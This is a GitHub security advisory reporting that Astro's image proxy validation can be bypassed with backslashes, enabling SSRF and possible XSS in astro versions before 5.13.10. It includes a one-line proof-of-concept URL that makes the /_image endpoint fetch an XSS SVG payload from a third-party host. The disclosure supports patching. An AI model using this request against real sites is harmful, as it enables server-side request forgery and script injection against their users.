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GHSA-qcpr-679q-rhm2

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Source: GitHub Advisory Database (reviewed) High CVE-2025-59837

Packages

EcosystemPackageAffectedFixed in
npm astro >= 5.13.4, < 5.13.10 5.13.10

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)

References

External links from the advisory. They lead to third-party sites.